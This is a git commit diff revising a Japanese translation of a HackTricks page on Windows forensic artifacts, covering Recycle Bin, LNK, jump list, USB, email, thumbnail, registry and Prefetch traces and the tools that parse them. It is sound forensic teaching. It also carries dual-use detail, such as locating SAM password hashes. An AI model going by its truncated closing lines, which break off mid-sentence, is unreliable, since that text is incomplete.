Translated ['forensics/basic-forensic-methodology/windows-forensics/READ

This commit is contained in:
Translator 2023-12-26 18:15:32 +00:00
parent 5403d583ee
commit 43650ec7ef
3 changed files with 452 additions and 531 deletions

View file

@ -1,241 +1,250 @@
# Windowsのアーティファクト
# Windows Artifacts
## Windowsのアーティファクト
## Windows Artifacts
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ会社**で働いていますか?**HackTricksにあなたの会社を広告したいですか** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。**
* [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
</details>
## 一般的なWindowsのアーティファクト
## 一般的なWindows Artifacts
### Windows 10通知
### Windows 10 通知
パス `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` には、データベース `appdb.dat` (Windows Anniversaryより前) または `wpndatabase.db` (Windows Anniversary以降) があります。
パス `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` には、データベース `appdb.dat`Windows記念日前または `wpndatabase.db`Windows記念日後が見つかります。
このSQLiteデータベース内には、興味深いデータを含むすべての通知XML形式が含まれる `Notification` テーブルがあります。
このSQLiteデータベース内には、興味深いデータを含む可能性があるすべての通知XML形式を含む `Notification` テーブルがあります。
### タイムライン
タイムラインは、訪れたウェブページ、編集されたドキュメント、実行されたアプリケーションの**時系列の履歴**を提供するWindowsの特徴です。
タイムラインは、訪問したウェブページ、編集したドキュメント、実行したアプリケーションの**時系列の履歴**を提供するWindowsの特徴です。
データベースはパス `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` にあります。このデータベースはSQLiteツールまたはツール[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)で開くことができます。このツールは、2つのファイルを生成し、ツール[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)で開くことができます。
データベースはパス `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` にあります。このデータベースはSQLiteツールで開くことも、ツール [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) を使用して生成された2つのファイルをツール [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) で開くこともできます。
### ADSAlternate Data Streams
### ADS (Alternate Data Streams)
ダウンロードされたファイルには、イントラネット、インターネットなどから**ダウンロード方法**を示す**ADS Zone.Identifier**が含まれている場合があります。一部のソフトウェア(ブラウザなど)は、ファイルのダウンロード元の**URL**などの**さらなる情報**を通常含んでいます。
ダウンロードされたファイルには、イントラネット、インターネットなどから**ダウンロードされた方法**を示す **ADS Zone.Identifier** が含まれている場合があります。一部のソフトウェア(ブラウザなど)は、ダウンロードされたファイルの**URL**など、さらに**多くの情報**を通常追加します。
## **ファイルバックアップ**
## **ファイルバックアップ**
### ゴミ箱
Vista/Win7/Win8/Win10では、**ゴミ箱**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。
このフォルダでファイルが削除されると、2つの特定のファイルが作成されます
Vista/Win7/Win8/Win10では、**ゴミ箱**はドライブのルート`C:\$Recycle.bin`)にあるフォルダー **`$Recycle.bin`** で見つけることができます。\
このフォルダでファイルが削除されると、2つの特定のファイルが作成されます
* `$I{id}`ファイル情報(削除された日付)
* `$R{id}`ファイルの内容
* `$I{id}`: ファイル情報(削除された日付)
* `$R{id}`: ファイルの内容
![](<../../../.gitbook/assets/image (486).png>)
これらのファイルを使用して、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できますVista - Win10の場合は`rifiuti-vista.exe`を使用します)。
これらのファイルを持っている場合、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して、削除されたファイルの元のアドレスと削除された日付を取得できますVista Win10用に `rifiuti-vista.exe` を使用)。
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### ボリュームシャドウコピー
シャドウコピーは、使用中コンピュータファイルやボリュームの**バックアップコピー**またはスナップショットを作成できるMicrosoft Windowsに含まれる技術です。
シャドウコピーは、使用中であってもコンピュータファイルやボリュームの**バックアップコピー**またはスナップショットを作成できるMicrosoft Windowsに含まれている技術です。
これらのバックアップは通常、ファイルシステムのルートの`\System Volume Information`にあり、次の画像に示すような**UID**で構成された名前です。
これらのバックアップは通常、ファイルシステムのルートから`\System Volume Information`に位置しており、名前は以下の画像に示されている**UID**で構成されています:
![](<../../../.gitbook/assets/image (520).png>)
**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することできます。
**ArsenalImageMounter**フォレンジックイメージをマウントすると、[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)ツールを使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することできます。
![](<../../../.gitbook/assets/image (521).png>)
レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています
レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています
![](<../../../.gitbook/assets/image (522).png>)
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`にも`Volume Shadow Copies`に関する設定情報が含まれています。
### オフィスの自動保存ファイル
### Office自動保存ファイル
オフィスの自動保存ファイルは、次の場所にあります:`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Officeの自動保存ファイルは次の場所にあります:`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## シェルアイテム
シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。
シェルアイテムは、別のファイルにアクセスする方法についての情報を含むアイテムです。
### 最近のドキュメントLNK
### 最近使ったドキュメント (LNK)
Windowsは、ユーザーがファイルを**開いたり使用したり作成したりする**ときに、これらの**ショートカット**を**自動的に作成**します。
Windowsは、ユーザーがファイルを**開く、使用する、または作成する**ときに、以下の場所に**自動的に**これらの**ショートカット**を**作成**します:
* Win7-Win10`C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office`C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
フォルダが作成されると、そのフォルダへのリンク、親フォルダへのリンク、および祖父フォルダへのリンクも作成されます。
フォルダが作成されると、そのフォルダ、親フォルダ、および祖父フォルダへのリンクも作成されます。
これらの自動作成されたリンクファイルには、**ファイル**または**フォルダ**であるか、そのファイルの**MACタイム**、ファイルが保存されている**ボリューム情報**、および**ターゲットファイルのフォルダ**に関する情報が含まれています。これらの情報は、削除された場合にこれらのファイルを回復するのに役立ちます。
これらの自動生成されたリンクファイルには、それが**ファイル**であるか**フォルダ**であるか、そのファイルの**MAC** **タイム**、ファイルが保存されている**ボリューム情報**、および**ターゲットファイルのフォルダ**についての情報が含まれています。この情報は、削除された場合にそれらのファイルを回復するのに役立つことがあります。
また、リンクファイルの**作成日**は、元のファイルが**最初に使用された時間**であり、リンクファイルの**変更日**は元のファイルが最後に使用された**時**です。
また、リンクファイルの**作成日**は元のファイルが**初めて使用された時**であり、リンクファイルの**変更日**は元のファイルが最後に使用された**時**です。
これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。
このツールでは、**2つのセット**のタイムスタンプが見つかります:
このツールでは、タイムスタンプの**2セット**が見つかります:
* **最初のセット:**
* **第一セット:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
* **2番目のセット**
* **第二セット:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
最初のセットのタイムスタンプは、**ファイル自体のタイムスタンプ**を参照します。2番目のセットは、**リンクされたファイルのタイムスタンプ**を参照します。
第一セットのタイムスタンプは**ファイル自体のタイムスタンプ**を参照します。第二セットは**リンクされたファイルのタイムスタンプ**を参照します。
同じ情報を取得するには、WindowsのCLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行できます。
同じ情報をWindows CLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行して取得できます。
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
この場合、情報はCSVファイルに保存されます。
```markdown
この情報はCSVファイル内に保存されます。
### ジャンプリスト
これは、アプリケーションごとに示される最近使用されたファイルのリストです。各アプリケーションでアクセスできる**アプリケーションが使用した最近のファイル**のリストです。これらは**自動的に作成されるか、カスタムで作成**されることがあります。
これは、アプリケーションごとに示される最近使用したファイルです。**アプリケーションによって最近使用されたファイルのリスト**で、各アプリケーションでアクセスできます。**自動的に作成されるかカスタムで作成される**ことがあります。
自動的に作成される**ジャンプリスト**は`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式に従って名前が付けられます。
自動的に作成される**ジャンプリスト**は`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは`{id}.autmaticDestinations-ms`という形式で名付けられ、初期IDはアプリケーションのIDです。
カスタムジャンプリストは`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これは、ファイルに何か**重要なことが起こった**場合に行われることがあります(お気に入りとしてマークされたかもしれません)
カスタムジャンプリストは`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はファイルに何か**重要な**ことが起こった場合(お気に入りとしてマークされた場合など)にアプリケーションによって作成されます
ジャンプリストの**作成時刻**は、ファイルが**最初にアクセスされた時刻**を示し、**変更時刻**は最後のアクセス時刻を示します。
任意のジャンプリストの**作成時間**は、**ファイルが初めてアクセスされた時間**を示し、**変更時間は最後にアクセスされた時間**を示します。
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査することができます。
[**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査できます。
![](<../../../.gitbook/assets/image (474).png>)
_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_
_ジャンプリストエクスプローラーによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連していることに注意してください_
### シェルバッグ
[**シェルバッグについては、こちらのリンクを参照してください。**](interesting-windows-registry-keys.md#shellbags)
[**シェルバッグについて学ぶには、このリンクをたどってください。**](interesting-windows-registry-keys.md#shellbags)
## Windows USBの使用
USBデバイスが使用されたことを特定することができます。その証拠として以下が作成されます。
USBデバイスが使用されたことを以下の作成によって特定できます:
* Windowsの最近のフォルダ
* Microsoft Officeの最近のフォルダ
* Windows Recent Folder
* Microsoft Office Recent Folder
* ジャンプリスト
注意一部のLNKファイルは、元のパスの代わりにWPDNSEフォルダを指す場合があります。
LNKファイルが元のパスを指している代わりに、WPDNSEフォルダを指していることに注意してください
![](<../../../.gitbook/assets/image (476).png>)
フォルダWPDNSE内のファイルは、元のファイルのコピーです。したがって、PCを再起動するとファイルは残りません。GUIDはシェルバッグから取得されます。
WPDNSEフォルダ内のファイルは元のファイルのコピーであり、PCの再起動には耐えられず、GUIDはシェルバッグから取得されます。
### レジストリ情報
USB接続デバイスに関する興味深い情報が含まれているレジストリキーは、[こちらのページを参照してください。](interesting-windows-registry-keys.md#usb-information)
[このページをチェックして](interesting-windows-registry-keys.md#usb-information)、USB接続デバイスに関する興味深い情報を含むレジストリキーを学びます。
### setupapi
USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認します(`Section start`を検索)。
`C:\Windows\inf\setupapi.dev.log`ファイルをチェックして、USB接続が行われたときのタイムスタンプを取得します(`Section start`を検索)。
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com)を使用すると、イメージに接続されたUSBデバイスに関する情報を取得できます。
[**USBDetective**](https://usbdetective.com)を使用して、イメージに接続されたUSBデバイスに関する情報を取得できます。
![](<../../../.gitbook/assets/image (483).png>)
### プラグアンドプレイのクリーンアップ
「プラグアンドプレイのクリーンアップ」というスケジュールされたタスクは、古いバージョンのドライバを**クリア**する責任を持っています。オンラインの報告に基づくと、「各ドライバパッケージの最新バージョンが保持される」と説明されているにもかかわらず、30日間使用されていないドライバも削除されるようです。したがって、30日間接続されていないリムーバブルデバイスのドライバが削除される可能性があります
「プラグアンドプレイのクリーンアップ」スケジュールされたタスクは、ドライバーの古いバージョンを**クリア**する責任があります。オンラインでの報告に基づくと、その説明には「各ドライバーパッケージの最新バージョンが保持されます」と記載されているにもかかわらず、**30日間使用されていないドライバーも削除される**ことがあります。したがって、**30日間接続されていない取り外し可能なデバイスは、そのドライバーが削除される可能性があります**
スケジュールされたタスク自体は、`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`にあり、その内容は以下の通りです:
スケジュールされたタスク自体は「C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup」にあり、その内容は以下に表示されます:
![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
タスクは、クリーンアップのアクティビティを実行する`pnpclean.dll`を参照しています。また、`UseUnifiedSchedulingEngine`フィールドが`TRUE`に設定されていることがわかります。これは、ジェネリックなタスクスケジューリングエンジンがタスクを管理するために使用されることを指定しています。`MaintenanceSettings`内の`Period`と`Deadline`の値が'P1M'と'P2M'であるため、タスクスケジューラは通常の自動メンテナンス中に1か月に1回タスクを実行し、2か月連続で失敗した場合は緊急の自動メンテナンス中にタスクを実行し始めます。**このセクションは**[**こちらからコピーされました**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**。**
タスクは「pnpclean.dll」を参照しており、これはクリーンアップ活動を実行する責任があります。さらに、「UseUnifiedSchedulingEngine」フィールドが「TRUE」に設定されていることがわかります。これは、汎用タスクスケジューリングエンジンがタスクの管理に使用されることを指定しています。「MaintenanceSettings」内の「Period」と「Deadline」の値「P1M」と「P2M」は、タスクスケジューラに、通常の自動メンテナンス中に毎月1回タスクを実行し、2か月連続で失敗した場合は、緊急自動メンテナンス中にタスクの試行を開始するよう指示します。**このセクションは**[**ここからコピーされました**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**。**
## メール
## 電子メール
メールには、**ヘッダー**とメールの**コンテンツ**の2つの興味深い部分が含まれています。**ヘッダー**には、次のような情報が含まれています。
電子メールには**2つの興味深い部分がありますヘッダーと電子メールの内容**。**ヘッダー**では、以下のような情報を見つけることができます:
* メールを送信した**誰**メールアドレス、IP、メールをリダイレクトしたメールサーバー)
* メールが送信された**時刻**
* **誰が**電子メールを送ったか電子メールアドレス、IP、電子メールをリダイレクトしたメールサーバー)
* **いつ**電子メールが送信されたか
また、`References`と`In-Reply-To`ヘッダーの中には、メッセージのIDが含まれています。
また、`References`と`In-Reply-To`ヘッダー内では、メッセージのIDを見つけることができます
![](<../../../.gitbook/assets/image (484).png>)
### Windowsメールアプリ
このアプリケーションは、メールをHTMLまたはテキスト形式で保存します。メールは、`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダに保存されます。メールは`.dat`拡張子で保存されます。
このアプリケーションは電子メールをHTMLまたはテキストで保存します。`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内で電子メールを見つけることができます。電子メールは`.dat`拡張子で保存されます。
メールの**メタデータ**と**連絡先**は、**EDBデータベース**内にあります:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
電子メールの**メタデータ**と**連絡先**は、**EDBデータベース**内で見つけることができます:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
ファイルの拡張子を`.vol`から`.edb`に変更し、ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。`Message`テーブルの中にメールが表示されます。
ファイルの拡張子を`.vol`から`.edb`に**変更**し、[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)ツールを使用して開きます。`Message`テーブル内で電子メールを見ることができます。
### Microsoft Outlook
ExchangeサーバーやOutlookクライアントを使用する場合、いくつかのMAPIヘッダーが表示されます。
ExchangeサーバーまたはOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します
* `Mapi-Client-Submit-Time`:メールが送信されたシステムの時刻
* `Mapi-Conversation-Index`:スレッドの子メッセージの数と各メッセージのタイムスタンプ
* `Mapi-Entry-ID`:メッセージの識別子
* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`MAPIクライアントに関する情報メッセージを読んだ読まない返信済みリダイレクト済み外出中
* `Mapi-Client-Submit-Time`:電子メールが送信されたときのシステムの時間
* `Mapi-Conversation-Index`:スレッドの子メッセージの数とスレッドの各メッセージのタイムスタンプ
* `Mapi-Entry-ID`:メッセージ識別子。
* `Mappi-Message-Flags`と`Pr_last_Verb-Executed`MAPIクライアントに関する情報メッセージは読まれたか読まれていないか返信されたか転送されたか不在中か
Microsoft Outlookクライアントでは、送受信されたすべてのメッセージ、連絡先データ、カレンダーデータがPSTファイルに保存されています
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は、使用されているファイルを示しています。
[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)ツールを使用してPSTファイルを開くことができます。
![](<../../../.gitbook/assets/image (485).png>)
Microsoft Outlookクライアントでは、送受信したメッセージ、連絡先データ、カレンダーデータは、
### Outlook OST
Microsoft Outlookが**IMAP**または**Exchange**サーバーを使用して設定されている場合、ほぼ同じ情報を保存する**OST**ファイルが生成されます。このファイルは、**最後の12ヶ月間**サーバーと同期され、**最大ファイルサイズは50GB**で、**PST**ファイルと同じフォルダに保存されます。[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を使用してこのファイルを検査することができます。
Microsoft Outlookが**IMAP**を使用して設定されている場合、または**Exchange**サーバーを使用している場合、ほぼPSTファイルと同じ情報を格納する**OST**ファイルが生成されます。これは、**過去12ヶ月間**のファイルをサーバーと同期させ、**最大ファイルサイズは50GB**で、PSTファイルが保存されている**同じフォルダ**に保管されます。このファイルは[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を使用して調査できます。
### 添付ファイルの回復
これらのファイルは次のフォルダに見つけることができるかもしれません:
以下のフォルダで見つけることができるかもしれません:
* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10
* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+
### Thunderbird MBOX
**Thunderbird**は、**MBOX**ファイルに情報を保存します。これらのファイルは、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`フォルダに保存されます。
**Thunderbird**は情報を**MBOX** **ファイル**に保存し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`フォルダ内にあります。
## サムネイル
ユーザーがフォルダにアクセスしサムネイルを使用して整理すると、`thumbs.db`ファイルが作成されます。このdbは、削除された場合でも、フォルダの画像のサムネイルを保存します。WinXPおよびWin 8-8.1では、このファイルは自動的に作成されます。Win7/Win10では、UNCパス\IP\folder...)経由でアクセスされ場合に自動的に作成されます。
ユーザーがフォルダにアクセスしサムネイルを使用して整理すると、`thumbs.db`ファイルが作成されます。このdbは、削除された画像であっても、フォルダの画像の**サムネイルを保存**します。WinXPおよびWin 8-8.1ではこのファイルが自動的に作成されます。Win7/Win10では、UNCパス\IP\folder...)経由でアクセスされ場合に自動的に作成されます。
ツール[**Thumbsviewer**](https://thumbsviewer.github.io)を使用してこのファイルを読み取ることができます。
このファイルは[**Thumbsviewer**](https://thumbsviewer.github.io)ツールで読むことができます。
### Thumbcache
### サムネイルキャッシュ
Windows Vista以降、**サムネイルプレビューはシステム上の集中的な場所に保存**されます。これにより、サムネイルの場所に関する問題が解決され、Thumbs.dbファイルの局所性の問題が解決されます。キャッシュは、**`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`**にいくつかのファイルとして保存されます。これらのファイルには、サイズごとに番号付けされた**thumbcache\_xxx.db**というラベルが付いています。
Windows Vista以降、**サムネイルプレビューはシステム上の中央集中型の場所に保存されます**。これにより、システムは画像の場所に関係なく画像にアクセスでき、Thumbs.dbファイルの局所性に関する問題が解決されます。キャッシュは**`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`**にいくつかのファイルとして保存され、サイズごとに番号付けされた**thumbcache\_xxx.db**(小さい、中、大、特大)と、各サイズのデータベースでサムネイルを見つけるために使用されるインデックスがあります。
* Thumbcache\_32.db -> 小
* Thumbcache\_32.db -> 小さい
* Thumbcache\_96.db -> 中
* Thumbcache\_256.db -> 大
* Thumbcache\_1024.db -> 特大
ツール[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)を使用してこのファイルを読み取ることができます。
このファイルは[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)を使用して読むことができます。
## Windowsレジストリ
Windowsレジストリには、**システムとユーザーのアクションに関する多くの情報**が含まれています。
Windowsレジストリには、**システムとユーザーの行動**に関する多くの**情報**が含まれています。
レジストリを含むファイルはの場所にあります:
レジストリを含むファイルは以下の場所にあります:
* %windir%\System32\Config\*_SAM\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SECURITY\*_: `HKEY_LOCAL_MACHINE`
@ -244,241 +253,224 @@ Windowsレジストリには、**システムとユーザーのアクション
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
Windows VistaおよびWindows 2008 Server以降では、`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップが**`%Windir%\System32\Config\RegBack\`**にあります。
Windows VistaおよびWindows 2008 Server以降では、`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップが**`%Windir%\System32\Config\RegBack\`**にいくつかあります。
また、これらのバージョンから、レジストリファイル**`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`**が作成され、プログラム実行に関する情報が保存されます。
また、これらのバージョンから、レジストリファイル**`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`**が作成され、プログラム実行に関する情報が保存されます。
### ツール
いくつかのツールがレジストリファイルの解析に役立ちます:
レジストリファイルを分析するのに役立つツールがいくつかあります:
* **レジストリエディタ**Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでそれらをナビゲートすることができます。興味深い情報を持つキーをハイライトするブックマークも含まれています。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートすることができるGUIを持ち、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出することができる別のGUIアプリケーションです。
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):レジストリファイルをロードし、GUIでナビゲートすることができます。興味深い情報をハイライトするブックマークも含まれています。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0):ロードされたレジストリをナビゲートするGUIがあり、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html)ロードされたレジストリから重要な情報を抽出することができるGUIアプリケーションです。
### 削除された要素の回復
キーが削除されると、それが削除されたことがマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することができます。
キーが削除されるとそのようにマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**のようなツールを使用して、これらの削除されたキーを回復することが可能です。
### 最終更新時刻
### 最終書き込み時間
各キーと値には、最後に変更された時刻を示す**タイムスタンプ**が含まれています。
### SAM
ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。
`SAM\Domains\Account\Users`には、ユーザー名、RID、最終ログイン、最後の失敗したログオン、ログインカウンター、パスワードポリシー、アカウントの作成日などが含まれています。ハッシュを取得するには、ファイル/ハイブ**SYSTEM**も必要です。
### Windowsレジストリの興味深いエントリ
{% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## 実行されたプログラム
### 基本的なWindowsプロセス
次のページでは、疑わしい動作を検出するための基本的なWindowsプロセスについて学ぶことができます
{% content-ref url="windows-processes.md" %}
[windows-processes.md](windows-processes.md)
{% endcontent-ref %}
### Windows最近のアプリ
レジストリの`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最後に実行された時間**、**実行回数**に関する情報が含まれているサブキーがあります。
### BAMBackground Activity Moderator
レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`の中には、**各ユーザーが実行したアプリケーション**の情報があります(パス内の`{SID}`に注意してください)。また、**実行された時間**もレジストリのData値の中にあります。
### Windows Prefetch
プリフェッチは、コンピュータがユーザーが**近い将来アクセスする可能性のあるコンテンツ**を表示するために必要なリソースを静かに**取得する**技術であり、リソースにより速くアクセスできるようにします。
Windowsプリフェッチは、実行されたプログラムのキャッシュを作成して、それらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`パス内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。
ファイル名は`{program_name}-{hash}.pf`として作成されますハッシュは実行可能ファイルのパスと引数に基づいています。W10では、これらのファイルは圧縮されます。ファイルの存在のみで、**プログラムが実行された**ことを示しています。
ファイル`C:\Windows\
各キー値には、最後に変更された時間を示す**タ
```bash
